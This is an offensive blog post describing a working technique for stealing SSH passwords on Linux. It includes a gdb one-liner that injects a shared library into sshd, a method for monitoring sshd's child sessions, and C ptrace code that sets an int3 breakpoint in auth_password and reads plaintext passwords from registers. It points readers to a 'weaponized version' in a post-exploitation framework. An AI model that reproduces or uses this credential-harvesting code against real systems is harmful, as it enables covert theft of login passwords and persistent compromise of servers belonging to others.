TL;DR
The source code of this idea is available on GitHub
And the weaponized version is available in emp3r0r
- Use
echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p <PID>
for process injection - Write a shared library to inject into sshd process
- In the library, fork a child process to monitor sshd children then attach (
PTRACE_ATTATCH
) to them - For each ssh session, search its memory for a code pattern in
auth_password
function, and set its address (seek to the beginning of an instruction) as breakpoint - Read registers on breakpoint, the
password
argument is stored inRSI
, we follow its address and read the password - Restore sshd process, keep monitoring until it exits
How to inject to sshd
The normal way
Since you are trying to inject to sshd, I assume you already have root
Don't set a global LD_PRELOAD
, you only need to load your shared library into sshd
Edit sshd start script or systemd service file, change its command to include LD_PRELOAD
Restart sshd service
I don't want to restart sshd
This is not persistent, if you want persistence you need to do extra work
Call dlopen in libdl
__libc_dlopen_mode in libc
There are two functions which we can use to load a library into to the program: dlopen(3) from libdl, and libc_dlopen_mode, libc's implementation. We'll use libc_dlopen_mode because it doesn’t require the host process to have libdl linked in.
Save some time and use GDB
I have seen many implementations of dlopen
and __libc_dlopen_mode
injector, unfortunately none of them work out of the box, they are unstable, you probably have to check the code and adapt them yourself
To save your time and improve stability, use GDB. You can just put a static gdb binary on your target and use this one liner:
echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p <PID>
Or use emp3r0r
emp3r0r has implemented shared object injection for amd64
Linux platform, you can type use injector
then find out.
Now this technique has been implemented in pure Go in emp3r0r, you got one more reason to try it out!
Which process?
If you look at my code, you will know that we are working on the children processes of sshd
,
Typically, each SSH session has its own process, spawned by the sshd
service process, you can easily spot it:
root 20101 20100 0 14:56 pts/1 00:00:00 sshd: /home/u/SSH-Harvester-Gitea/openssh-8.2p1/sshd -f /etc/ssh/sshd_config -h /home/u/SSH-Harvester-Gitea/openssh-8.2p1/ssh_host_rsa_key -D -p 2222 [listener] 1 of 10-100 startups
root 21417 20101 0 14:57 ? 00:00:00 sshd: u [priv]
sshd 21418 21417 0 14:57 ? 00:00:00 sshd: u [net]
There's only one child process of sshd
service, it has [priv]
in its command line args.
How to attach?
Ideally, we want to attach to any SSH session when it opens, so we have a better chance to read any possible passwords
This can be done by monitoring the children processes of sshd
.
How?
There's a procfs that exposes useful information about processes on Linux, to list children processes of a particular process, we just need to read /proc/pid/task/pid/children
And you will get a space (0x20
) separated list of PIDs
So basically we can inject our shared object into sshd
process, then monitor its children, open a thread for each child and harvest its password
Write the password dumper
Locate auth_password at runtime
What we want is to pause sshd when it reaches auth_password
function, at which time we can read the password
argument using PTRACE_PEEKTEXT
/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/
int
auth_password(struct ssh *ssh, const char *password)
{
Authctxt *authctxt = ssh->authctxt;
struct passwd *pw = authctxt->pw;
int result, ok = authctxt->valid;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
if (strlen(password) > MAX_PASSWORD_LEN)
return 0;
#ifndef HAVE_CYGWIN
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
ok = 0;
#endif
if (*password == '\0' && options.permit_empty_passwd == 0)
return 0;
#ifdef KRB5
if (options.kerberos_authentication == 1) {
int ret = auth_krb5_password(authctxt, password);
if (ret == 1 || ret == 0)
return ret && ok;
/* Fall back to ordinary passwd authentication. */
}
#endif
#ifdef HAVE_CYGWIN
{
HANDLE hToken = cygwin_logon_user(pw, password);
if (hToken == INVALID_HANDLE_VALUE)
return 0;
cygwin_set_impersonation_token(hToken);
return ok;
}
#endif
#ifdef USE_PAM
if (options.use_pam)
return (sshpam_auth_passwd(authctxt, password) && ok);
#endif
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
if (!expire_checked) {
expire_checked = 1;
if (auth_shadow_pwexpired(authctxt))
authctxt->force_pwchange = 1;
}
#endif
result = sys_auth_passwd(ssh, password);
if (authctxt->force_pwchange)
auth_restrict_session(ssh);
return (result && ok);
}
If we compile our own sshd
, without stripping its symbols, we can easily use gdb to break at auth_password
and read our password:
How do we know where to set the breakpoint?
XPN's article talked about code pattern searching, we are going to use the same method for locating
To take it further, we will pick a different code pattern:
as shown in the screenshot, the password is checked by PAM and returns 1
when it's valid
so we can easily determine whether we are reading the correct password or not, by checking if $RAX == 0x1
, or check if $RAX == 0x0
if the value is not 0x1
Set the breakpoint without GDB
Like said earlier, we substitude the first byte of add rsp, 0x8
(0x48 0x83 0xc4 0x08
) with int3
(0xcc
)
int3
is a single byte instruction in x86 assembly, when it gets executed, RIP
stops at the next byte, this is called a software breakpoint
// write breakpoint
long data = ptrace(PTRACE_PEEKTEXT, pid, ptr, 0); // original instruction
long data_with_trap = (data & ~0xFF) | 0xCC; // patch the first byte with 0xCC (int 3)
if (ptrace(PTRACE_POKETEXT, pid, (void*)ptr, data_with_trap) < 0) {
perror("PTRACE_POKETEXT insert int3");
exit(1);
}
puts("[+] INT 3 written, we have set a breakpoint");
Read password on break
When sshd process stops at our breakpoint, the password string will be available in $RBP
register ($RSI
is modified since another function is called),
we dump the password from $RBP
and check if it's valid by evaluating $RAX == 1
// read RBP-pointed memory for password string, stop at NULL
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
unsigned long long password_arg = (unsigned long long)regs.rbp;
unsigned long long pam_ret = (unsigned long long)regs.rax;
char password[100];
char* ppass = password; // points to the tail of password
do {
long val;
char* p;
val = ptrace(PTRACE_PEEKTEXT, pid, password_arg, NULL);
printf("Reading args of auth_pass at 0x%llx\n", password_arg);
if (val == -1) {
perror("[-] Failed to read password from auth_pass args");
ptrace(PTRACE_DETACH, pid);
pthread_exit(NULL);
}
password_arg += sizeof(long);
p = (char*)&val;
for (i = 0; i < sizeof(long); i++, p++, ppass++) {
*ppass = *p;
if (*p == '\0')
break;
}
} while (i == sizeof(long));
if (pam_ret != 1) {
printf("[-] RAX = %llx, pam auth has failed, the password '%s' is invalid\n", pam_ret, password);
} else {
printf("\n\n[+] Password is\n\n\t%s (length: %lu)\n\n", password, strlen(password));
}
Comments
comments powered by Disqus